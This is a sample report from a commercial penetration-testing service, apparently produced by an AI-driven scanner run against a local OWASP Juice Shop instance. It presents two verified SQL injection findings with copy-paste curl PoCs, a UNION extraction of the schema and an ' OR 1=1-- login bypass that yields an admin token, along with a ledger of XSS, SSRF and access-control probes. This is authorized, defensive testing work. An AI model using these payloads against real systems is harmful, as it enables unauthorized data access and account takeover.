NAXXAN ← naxxan.ai Request Verify External

// SAMPLE REPORT · real run · public target (OWASP Juice Shop, vulnerable by design)

What the evidence looks like when it arrives

real run, unchanged — generated from the run artifacts.

This is a real verification run on a target that is public and vulnerable by design. Every finding below fired 2× and every negative control — the same probe with the payload removed — came back clean. That differential is the finding, and each one ships with its PoC as a curl your reviewer can copy, paste, and re-run, plus the raw request and response it produced.

RUN 7c30ed04dc73
DATE 2026-09-03
TARGET OWASP Juice Shop — public gym target, vulnerable by design (bkimminich/juice-shop:latest)
DURATION 374.1s
MODE hybrid — model-driven discovery (glm-5.3) + sandboxed PoC execution
SCOPE read-only, no credentials, authorized
HYPOTHESES 11 raised · 2 findings delivered · 5 attacked-and-held · 2 adjudicated out · 2 inconclusive
VERIFICATION min 2 reproductions per signal · 3 informed PoC rounds · adjudication pass on
Report fingerprint — sha256
33ad51abeeb5085b10003848e6606fff411a9c82e06a5f86d23a8c694aac1c11
sha256 of the report artifact published with this page: assets/sample-run-report.json. The report is content-addressed; each finding cites its own evidence artifact and PoC identifier, and reproduction is a property of the run, not a claim about it. For public release the run's report.json was minimally redacted. Redacted from the internal artifact: cost fields, operational budget and sampling parameters, client references inherited from cross-target memory. Findings, PoCs and metrics are verbatim from the run artifact; prose fields (evidence, remediation, hypothesis rationale) are rendered in English from the run's structured fields. A technical amendment corrects the artifact's remediation guidance: /assets/remediation-amendment.md (the artifact is preserved byte-identical).

Reproduce this environment

The run attacked a local, throwaway instance of the public target — the image and ports below are the ones declared in the run's own target metadata. Stand it up, then copy, paste and re-run any curl on this page against it:

Target — as declared in the run's target metadata
docker run --rm -p 127.0.0.1:31000:3000 bkimminich/juice-shop@sha256:73c53fbf442e8337b3ea3d98c7e8550308854701ebdfce4cc39768f36b75430e

Expected results against a fresh instance — the same signal each finding's evidence artifact recorded:

Findings — 2

HIGH 7.5 — evidencedSQL InjectionFL-03ac49d787bd · ceiling 9.8 · evidenced 7.5 · POC-0a374dfa
WhereGET /rest/products/search?q — the search parameter is concatenated directly into the SQL query.
CVSS vector v3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Severity basis: the declared signal 500 fired 2×; the supplementary verification below evidences the confidentiality dimension (arbitrary read). Integrity and availability are not demonstrated at this injection point: the evidenced vector (C:H/I:N/A:N) scores 7.5 HIGH; the run's deterministic grade (CVSS 9.8) is the class ceiling — both are disclosed, and neither is hidden.
EvidenceDeclared signal: http-status 500 — observed: 500. Fired 2× in independent executions; the benign-input control (same probe, payload removed) did not fire it.
Supplementary verification — demonstrated impact (operator-executed, 2026-09-05, same pinned image)
Arbitrary read, evidenced: a UNION injection against the same parameter returns database schema rows (table names from sqlite_master) without credentials — the confidentiality dimension of the vector rests on this extraction, not on the error alone. Integrity and availability are NOT demonstrated at this injection point (SELECT-only): the evidenced vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) scores 7.5 HIGH; the run's deterministic grade (CVSS 9.8) is the class ceiling, and both are disclosed here.
curl -s --path-as-is "http://127.0.0.1:31000/rest/products/search?q=zzq%27%29%29%20UNION%20SELECT%209999%20as%20id%2Cname%20as%20description%2Csql%20as%20name%2C1%20as%20price%2C0%20as%20deluxePrice%2C%27i%27%20as%20image%2C%27t%27%20as%20imageThumb%2CNULL%20as%20createdAt%2CNULL%20as%20updatedAt%20FROM%20sqlite_master%20LIMIT%203--%20"
expected rows: Addresses · BasketItems · Baskets (rows extracted from sqlite_master)
RemediationParameterized queries on this path; never concatenate user input into SQL. Post-fix retest included — one full pass requested within 30 days of delivery (same scope); a contested finding is re-tested until it closes.
PoC · http · shell-safe · copy, paste & re-run
curl -i --path-as-is "http://127.0.0.1:31000/rest/products/search?q=%27%20OR%201%3D1--"
Raw request — as executed
GET http://127.0.0.1:31000/rest/products/search?q=' OR 1=1--
Raw response — from the run's evidence artifact
status 500 · content-type: text/html; charset=utf-8

<html>
  <head>
    <meta charset='utf-8'>
    <title>Error: SQLITE_ERROR: incomplete input</title>
    <style>* {
  margin: 0;
  padding: 0;
  outline: 0;
}

body {
  padding: 80px 100px;
  font: 13px "Helvetica Neue", "Lucida Grande", "Arial";
  background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));
  background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);

… [truncated — 942 chars shown after redaction]
fired 2× · negative control clean · hypothesis H-7c30ed04-019 · evidence ev-96719872fcbefb28 · sha256 96719872fcbefb28
CRITICALSQL InjectionFL-7156550fb2af · CVSS 9.8 · POC-b715cb4c
WherePOST /rest/user/login — the email field is concatenated into the authentication query — the injected credential authenticates as the admin account.
CVSS vector v3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Severity basis: the declared signal fired 2× and the raw response evidences the impact — the injected credential is issued a valid session token (authentication as the admin account). Unauthorized access is demonstrated, not inferred; the remaining vector dimensions follow the class ceiling for this position (CVSS 9.8).
EvidenceDeclared signal: body-pattern token|SQL|SQLITE_ERROR|System error — observed: authentication. Fired 2× in independent executions; the benign-input control (same probe, payload removed) did not fire it.
RemediationParameterized queries on this path; never concatenate user input into SQL. Post-fix retest included — one full pass requested within 30 days of delivery (same scope); a contested finding is re-tested until it closes.
PoC · http · shell-safe · copy, paste & re-run
curl -i -X POST -H 'Content-Type: application/json' -d '{"email": "'\'' OR 1=1--", "password": "x"}' --path-as-is "http://127.0.0.1:31000/rest/user/login"
Raw request — as executed
POST http://127.0.0.1:31000/rest/user/login
Content-Type: application/json

{"email": "' OR 1=1--", "password": "x"}
Raw response — from the run's evidence artifact · session tokens redacted in this public render ([REDACTED-JWT])
status 200 · content-type: application/json; charset=utf-8

{"authentication":{"token":"[REDACTED-JWT]","bid":1,"umail":"admin@juice-sh.op"}}
fired 2× · negative control clean · hypothesis H-7c30ed04-004 · evidence ev-d10f61135df576a3 · sha256 d10f61135df576a3

Hypothesis ledger — all 11, every verdict visible

Every hypothesis that entered testing is listed with its endpoint, its declared fault signal, how many attempts it consumed and its verdict, with the reason the run recorded for it. Hypothesis IDs are minted per authoring candidate: this run's IDs reach -026 while the ledger holds 11 — candidates that never produced an executable hypothesis are not in the ledger, and every hypothesis that entered testing is listed, nothing dropped.

hypothesisclassendpointfault signalattemptsverdict
H-7c30ed04-018xss_reflectedGET /rest/products/search?qbody-pattern <script>alert\(1\)</script>9ATTACKED-AND-HELD9 attempts — attacked in informed rounds; the declared signal never fired (0/2 reproductions)
H-7c30ed04-003auth_bypassPOST /rest/user/loginbody-pattern "token"|authentication10ADJUDICATED OUT10 attempts — no auth evidence at this endpoint — the forged credential answered the same as no credential; reclassified out, not counted as resistance
H-7c30ed04-004sqliPOST /rest/user/loginbody-pattern token|SQL|SQLITE_ERROR|System error1VALIDATED → FINDINGFL-7156550fb2af
H-7c30ed04-006bolaGET /rest/basket/:idbody-pattern Products|items|data|email11ATTACKED-AND-HELD11 attempts — attacked in informed rounds; the declared signal never fired (0/2 reproductions)
H-7c30ed04-023ssrfGET /redirect?tobody-pattern evil\d+\.example\.com8INCONCLUSIVE8 attempts — the signal matched the request's own echoed string, not a server-side fetch
H-7c30ed04-019sqliGET /rest/products/search?qhttp-status 5004VALIDATED → FINDINGFL-03ac49d787bd
H-7c30ed04-024bolaPUT /api/Users/:idhttp-status 2008ATTACKED-AND-HELD8 attempts — attacked in informed rounds; the declared signal never fired (0/2 reproductions)
H-7c30ed04-008bolaGET /rest/track-order/:idbody-pattern email|order|ETA|address|Products11INCONCLUSIVE11 attempts — the negative control fired the signal too — ambiguous signal, not a held resistance
H-7c30ed04-017sqliGET /rest/track-order/:idbody-pattern SQLITE|error|Order|email3VALIDATED → ADJUDICATED OUTadjudication verdict: refuted — the observed match was the probe's own payload echo; excluded from findings
H-7c30ed04-026bolaPOST /rest/basket/1/checkoutbody-pattern confirmation|order|success9ATTACKED-AND-HELD9 attempts — attacked in informed rounds; the declared signal never fired (0/2 reproductions)
H-7c30ed04-009auth_bypassPOST /rest/basket/1/checkouthttp-status 200, 201, 20211ATTACKED-AND-HELD11 attempts — attacked in informed rounds; the declared signal never fired (0/2 reproductions)
3 validated (→ 2 findings + 1 adjudicated out) + 8 dead (5 attacked-and-held, 1 adjudicated out, 2 inconclusive) = 11 raised — the arithmetic closes on this page.

Attacked, signal did not fire — 5

These were attacked with real PoCs — 48 attempts across up to 3 informed rounds each — and their declared fault signal never fired. Held is a verdict, not a budget cut: each round learns from the previous failures before it gives up.

xss_reflectedGET /rest/products/search?qbody-pattern signal9 attempts
bolaGET /rest/basket/:idbody-pattern signal11 attempts
bolaPUT /api/Users/:idhttp-status signal8 attempts
bolaPOST /rest/basket/1/checkoutbody-pattern signal9 attempts
auth_bypassPOST /rest/basket/1/checkouthttp-status signal11 attempts
Verdicts across the run: 2 findings delivered · 5 attacked-and-held · 2 adjudicated out · 2 inconclusive — 11 hypotheses, every verdict visible in the ledger above. Adjudicated-out and inconclusive hypotheses are NOT counted as resistance.

Methodological note

Every finding in this report passed three controls before it shipped: (1) the probe fired its declared fault signal; (2) it reproduced at least 2× in independent executions; (3) the negative control — the same probe with the payload removed — did not fire it. Validated signals additionally pass an adjudication review before becoming findings; in this run one validated signal was adjudicated out as a payload echo rather than an execution, and is listed as such. Hypotheses that did not pass appear in the ledger above with their verdict and reason: attacked-and-held (the declared signal never fired), adjudicated out (attribution rules or reclassification — 2 in this run), or inconclusive (ambiguous signal or the probe's own echo, 2 in this run). Nothing is reported by model inference without an observed execution.

What also ships

A one-file HTML report exactly like this one (no login), the raw request/response evidence per execution cited by sha256, a one-page attack attestation (PDF) listing what was attacked and held — the declared fault signal did not fire — plus the verdict counts and the run's fingerprint, remediation guidance per finding, and the post-fix retest — one full pass requested within 30 days of delivery (same scope); a contested finding is re-tested until it closes.

This is the sample. Yours arrives 48 hours from the agreed start.

One authorized external target. No credentials, nothing to install. Findings that reproduce — or they don't ship.

Request Verify External → engagements@naxxan.ai
$995 · first five engagements only · report in 48h from the agreed start · full refund before execution ·